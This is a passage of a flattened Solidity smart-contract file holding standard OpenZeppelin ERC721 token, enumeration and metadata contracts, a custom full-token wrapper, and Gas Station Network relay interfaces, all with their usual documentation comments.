@openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/ERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/interfaces/erc721/ERC721MetadataWithoutTokenURI.sol pragma solidity ^0.5.14; contract ERC721MetadataWithoutTokenURI is ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } } // File: contracts/interfaces/erc721/CustomERC721Full.sol pragma solidity ^0.5.14; /** * @title Custom version of the Full ERC721 Token contract produced by OpenZeppelin * This implementation includes all the required, some optional functionality of the ERC721 standard and removes * tokenURIs from the base ERC721Metadata contract. * Moreover, it includes approve all functionality using operator terminology * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract CustomERC721Full is ERC721, ERC721Enumerable, ERC721MetadataWithoutTokenURI { constructor (string memory name, string memory symbol) public ERC721MetadataWithoutTokenURI(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } // File: contracts/interfaces/ITokenlandiaTokenCreator.sol pragma solidity ^0.5.14; contract ITokenlandiaTokenCreator { function mintToken( uint256 _tokenId, address _recipient, string calldata _productCode, string calldata _ipfsHash ) external returns (bool success); } // File: @openzeppelin/contracts/GSN/IRelayRecipient.sol pragma solidity ^0.5.0; /** * @dev Base interface for a contract that will be called via the GSN from {IRelayHub}. * * TIP: You don't need to write an implementation yourself! Inherit from {GSNRecipient} instead. */ contract IRelayRecipient { /** * @dev Returns the address of the {IRelayHub} instance this recipient interacts with. */ function getHubAddr() public view returns (address); /** * @dev Called by {IRelayHub} to validate if this recipient accepts being charged for a relayed call. Note that the * recipient will be charged regardless of the execution result of the relayed call (i.e. if it reverts or not). * * The relay request was originated by `from` and will be served by `relay`. `encodedFunction` is the relayed call * calldata, so its first four bytes are the function selector. The relayed call will be forwarded `gasLimit` gas, * and the transaction executed with a gas price of at least `gasPrice`. `relay`'s fee is `transactionFee`, and the * recipient will be charged at most `maxPossibleCharge` (in wei). `nonce` is the sender's (`from`) nonce for * replay attack protection in {IRelayHub}, and `approvalData` is a optional parameter that can be used to hold a signature * over all or some of the previous values. * * Returns a tuple, where the first value is used to indicate approval (0) or rejection (custom non-zero error code, * values 1 to 10 are reserved) and the second one is data to be passed to the other {IRelayRecipient} functions. * * {acceptRelayedCall} is called with 50k gas: if it runs out during execution, the request will be considered * rejected. A regular revert will also trigger a rejection. */ function acceptRelayedCall( address relay, address from, bytes calldata encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes calldata approvalData, uint256 maxPossibleCharge ) external view returns (uint256, bytes memory); /** * @dev Called by {IRelayHub} on approved relay call requests, before the relayed call is executed. This allows to e.g. * pre-charge the sender of the transaction. * * `context` is the second value returned in the tuple by {acceptRelayedCall}. * * Returns a value to be passed to {postRelayedCall}. * * {preRelayedCall} is called with 100k gas: if it runs out during exection or otherwise reverts, the relayed call * will not be executed, but the recipient will still be charged for the transaction's cost. */ function preRelayedCall(bytes calldata context) external returns (bytes32); /** * @dev Called by {IRelayHub} on approved relay call requests, after the relayed call is executed. This allows to e.g. * charge the user for the relayed call costs, return any overcharges from {preRelayedCall}, or perform * contract-specific bookkeeping. * * `context` is the second value returned in the tuple by {acceptRelayedCall}. `success` is the execution status of * the relayed call. `actualCharge` is an estimate of how much the recipient will be charged for the transaction, * not including any gas used by {postRelayedCall} itself. `preRetVal` is {preRelayedCall}'s return value. * * * {postRelayedCall} is called with 100k gas: if it runs out during execution or otherwise reverts, the relayed call * and the call to {preRelayedCall} will be reverted retroactively, but the recipient will still be charged for the * transaction's cost. */ function postRelayedCall(bytes calldata context, bool success, uint256 actualCharge, bytes32 preRetVal) external; } // File: @openzeppelin/contracts/GSN/IRelayHub.sol pragma solidity ^0.5.0; /** * @dev Interface for `RelayHub`, the core contract of the GSN. Users should not need to interact with this contract * directly. * * See the https://github.com/OpenZeppelin/openzeppelin-gsn-helpers[OpenZeppelin GSN helpers] for more information on * how to deploy an instance of `RelayHub` on your local test network. */ contract IRelayHub { // Relay management /** * @dev Adds stake to a relay and sets its `unstakeDelay`. If the relay does not exist, it is created, and the caller * of this function becomes its owner. If the relay already exists, only the owner can call this function. A relay * cannot be its own owner. * * All Ether in this function call will be added to the relay's stake. * Its unstake delay will be assigned to `unstakeDelay`, but the new value must be greater or equal to the current one. * * Emits a {Staked} event. */ function stake(address relayaddr, uint256 unstakeDelay) external payable; /** * @dev Emitted when a relay's stake or unstakeDelay are increased */ event Staked(address indexed relay, uint256 stake, uint256 unstakeDelay); /** * @dev Registers the caller as a relay. * The relay must be staked for, and not be a contract (i.e. this function must be called directly from an EOA). * * This function can be called multiple times, emitting new {RelayAdded} events. Note that the received * `transactionFee` is not enforced by {relayCall}. * * Emits a {RelayAdded} event. */ function registerRelay(uint256 transactionFee, string memory url) public; /** * @dev Emitted when a relay is registered or re-registerd. Looking at these events (and filtering out * {RelayRemoved} events) lets a client discover the list of available relays. */ event RelayAdded(address indexed relay, address indexed owner, uint256 transactionFee, uint256 stake, uint256 unstakeDelay, string url); /** * @dev Removes (deregisters) a relay. Unregistered (but staked for) relays can also be removed. * * Can only be called by the owner of the relay. After the relay's `unstakeDelay` has elapsed, {unstake} will be * callable. * * Emits a {RelayRemoved} event. */ function removeRelayByOwner(address relay) public; /** * @dev Emitted when a relay is removed (deregistered). `unstakeTime` is the time when unstake will be callable. */ event RelayRemoved(address indexed relay, uint256 unstakeTime); /** Deletes the relay from the system, and gives back its stake to the owner. * * Can only be called by the relay owner, after `unstakeDelay` has elapsed since {removeRelayByOwner} was called. * * Emits an {Unstaked} event. */ function unstake(address relay) public; /** * @dev Emitted when a relay is unstaked for, including the returned stake. */ event Unstaked(address indexed relay, uint256 stake); // States a relay can be in enum RelayState { Unknown, // The relay is unknown to the system: it has never been staked for Staked, // The relay has been staked for, but it is not yet active Registered, // The relay has registered itself, and is active (can relay calls) Removed // The relay has been removed by its owner and can no longer relay calls. It must wait for its unstakeDelay to elapse before it can unstake } /** * @dev Returns a relay's status. Note that relays can be deleted when unstaked or penalized, causing this function * to return an empty entry. */ function getRelay(address relay) external view returns (uint256 totalStake, uint256 unstakeDelay, uint256 unstakeTime, address payable owner, RelayState state); // Balance management /** * @dev Deposits Ether for a contract, so that it can receive (and pay for) relayed transactions. * * Unused balance can only be withdrawn by the contract itself, by calling {withdraw}. * * Emits a {Deposited} event. */ function depositFor(address target) public payable; /** * @dev Emitted when {depositFor} is called, including the amount and account that was funded. */ event Deposited(address indexed recipient, address indexed from, uint256 amount); /** * @dev Returns an account's deposits. These can be either a contracts's funds, or a relay owner's revenue. */ function balanceOf(address target) external view returns (uint256); /** * Withdraws from an account's balance, sending it back to it. Relay owners call this to retrieve their revenue, and * contracts can use it to reduce their funding. * * Emits a {Withdrawn} event. */ function withdraw(uint256 amount, address payable dest) public; /** * @dev Emitted when an account withdraws funds from `RelayHub`. */ event Withdrawn(address indexed account, address indexed dest, uint256 amount); // Relaying /** * @dev Checks if the `RelayHub` will accept a relayed operation. * Multiple things must be true for this to happen: * - all arguments must be signed for by the sender (`from`) * - the sender's nonce must be the current one * - the recipient must accept this transaction (via {acceptRelayedCall}) * * Returns a `PreconditionCheck` value (`OK` when the transaction can be relayed), or a recipient-specific error * code if it returns one in {acceptRelayedCall}. */ function canRelay( address relay, address from, address to, bytes memory encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes memory signature, bytes memory approvalData ) public view returns (uint256 status, bytes memory recipientContext); // Preconditions for relaying, checked by canRelay and returned as the corresponding numeric values. enum PreconditionCheck { OK, // All checks passed, the call can be relayed WrongSignature, // The transaction to relay is not signed by requested sender WrongNonce, // The provided nonce has already been used by the sender AcceptRelayedCallReverted, // The recipient rejected this call via acceptRelayedCall InvalidRecipientStatusCode // The recipient returned an invalid (reserved) status code } /** * @dev Relays a transaction. * * For this to succeed, multiple conditions must be met: * - {canRelay} must `return PreconditionCheck.OK` * - the sender must be a registered relay * - the transaction's gas price must be larger or equal to the one that was requested by the sender * - the transaction must have enough gas to not run out of gas if all internal transactions (calls to the * recipient) use all gas available to them * - the recipient must have enough balance to pay the relay for the worst-case scenario (i.e. when all gas is * spent) * * If all conditions are met, the call will be relayed and the recipient charged. {preRelayedCall}, the encoded * function and {postRelayedCall} will be called in that order. * * Parameters: * - `from`: the client originating the request * - `to`: the target {IRelayRecipient} contract * - `encodedFunction`: the function call to relay, including data * - `transactionFee`: fee (%) the relay takes over actual gas cost * - `gasPrice`: gas price the client is willing to pay * - `gasLimit`: gas to forward when calling the encoded function * - `nonce`: client's nonce * - `signature`: client's signature over all previous params, plus the relay and RelayHub addresses * - `approvalData`: dapp-specific data forwared to {acceptRelayedCall}. This value is *not* verified by the * `RelayHub`, but it still can be used for e.g. a signature. * * Emits a {TransactionRelayed} event. */ function relayCall( address from, address to, bytes memory encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes memory signature, bytes memory approvalData ) public; /** * @dev Emitted when an attempt to relay a call failed. * * This can happen due to incorrect {relayCall} arguments, or the recipient not accepting the relayed call. The * actual relayed call was not executed, and the recipient not charged. * * The `reason` parameter contains an error code: values 1-10 correspond to `PreconditionCheck` entries, and values * over 10 are custom recipient error codes returned from {acceptRelayedCall}. */ event CanRelayFailed(address indexed relay, address indexed from, address indexed to, bytes4 selector, uint256 reason); /** * @dev Emitted when a transaction is relayed. * Useful when monitoring a relay's operation and relayed calls to a contract * * Note that the actual encoded function might be reverted: this is indicated in the `status` parameter. * * `charge` is the Ether value deducted from the recipient's balance, paid to the relay's owner. */ event TransactionRelayed(address indexed relay, address indexed from, address indexed to, bytes4 selector, RelayCallStatus status, uint256 charge); // Reason error codes for the TransactionRelayed event enum RelayCallStatus { OK, // The transaction was successfully relayed and execution successful - never included in the event RelayedCallFailed, // The transaction was relayed, but the relayed call failed PreRelayedFailed, // The transaction was not relayed due to preRelatedCall reverting PostRelayedFailed, // The transaction was relayed and reverted due to postRelatedCall reverting RecipientBalanceChanged // The transaction was relayed and reverted due to the recipient's balance changing } /** * @dev Returns how much gas should be forwarded to a call to {relayCall}, in order to relay a transaction that will * spend up to `relayedCallStipend` gas. */ function requiredGas(uint256 relayedCallStipend) public view returns (uint256); /** * @dev Returns the maximum recipient charge, given the amount of gas forwarded, gas price and relay fee. */ function maxPossibleCharge(uint256 relayedCallStipend, uint256 gasPrice, uint256 transactionFee) public view returns (uint256); // Relay penalization. // Any account can penalize relays, removing them from the system immediately, and rewarding the // reporter with half of the relay's stake. The other half is burned so that, even if the relay penalizes itself, it // still loses half of its stake. /** * @dev Penalize a relay that signed two transactions using the same nonce (making only the first one valid) and * different data (gas price, gas limit, etc. may be different). * * The (unsigned) transaction data and signature for both transactions must be provided. */ function penalizeRepeatedNonce(bytes memory unsignedTx1, bytes memory signature1, bytes memory unsignedTx2, bytes memory signature2) public; /** * @dev Penalize a relay that sent a transaction that didn't target `RelayHub`'s {registerRelay} or {relayCall}. */ function penalizeIllegalTransaction(bytes memory unsignedTx, bytes memory signature) public; /** * @dev Emitted when a relay is penalized. */ event Penalized(address indexed relay, address sender, uint256 amount); /** * @dev Returns an account's nonce in `RelayHub`. */ function getNonce(address from) external view returns (uint256); } // File: @openzeppelin/contracts/GSN/GSNRecipient.sol pragma solidity ^0.5.0; /** * @dev Base GSN recipient contract: includes the {IRelayRecipient} interface * and enables GSN support on all contracts in the inheritance tree. * * TIP: This contract is abstract. The functions {acceptRelayedCall}, * {_preRelayedCall}, and {_postRelayedCall} are not implemented and must be * provided by derived contracts. See the * xref:ROOT:gsn-strategies.adoc#gsn-strategies[GSN strategies] for more * information on how to use the pre-built {GSNRecipientSignature} and * {GSNRecipientERC20Fee}, or how to write your own. */ contract GSNRecipient is IRelayRecipient, Context { // Default RelayHub address, deployed on mainnet and all testnets at the same address address private _relayHub = 0xD216153c06E857cD7f72665E0aF1d7D82172F494; uint256 constant private RELAYED_CALL_ACCEPTED = 0; uint256 constant private RELAYED_CALL_REJECTED = 11; // How much gas is forwarded to postRelayedCall uint256 constant internal POST_RELAYED_CALL_MAX_GAS = 100000; /** * @dev Emitted when a contract changes its {IRelayHub} contract to a new one. */ event RelayHubChanged(address indexed oldRelayHub, address indexed newRelayHub); /** * @dev Returns the address of the {IRelayHub} contract for this recipient. */ function getHubAddr() public view returns (address) { return _relayHub; } /** * @dev Switches to a new {IRelayHub} instance. This method is added for future-proofing: there's no reason to not * use the default instance. * * IMPORTANT: After upgrading, the {GSNRecipient} will no longer be able to receive relayed calls from the old * {IRelayHub} instance. Additionally, all funds should be previously withdrawn via {_withdrawDeposits}. */ function _upgradeRelayHub(address newRelayHub) internal { address currentRelayHub = _relayHub; require(newRelayHub != address(0), "GSNRecipient: new RelayHub is the zero address"); require(newRelayHub != currentRelayHub, 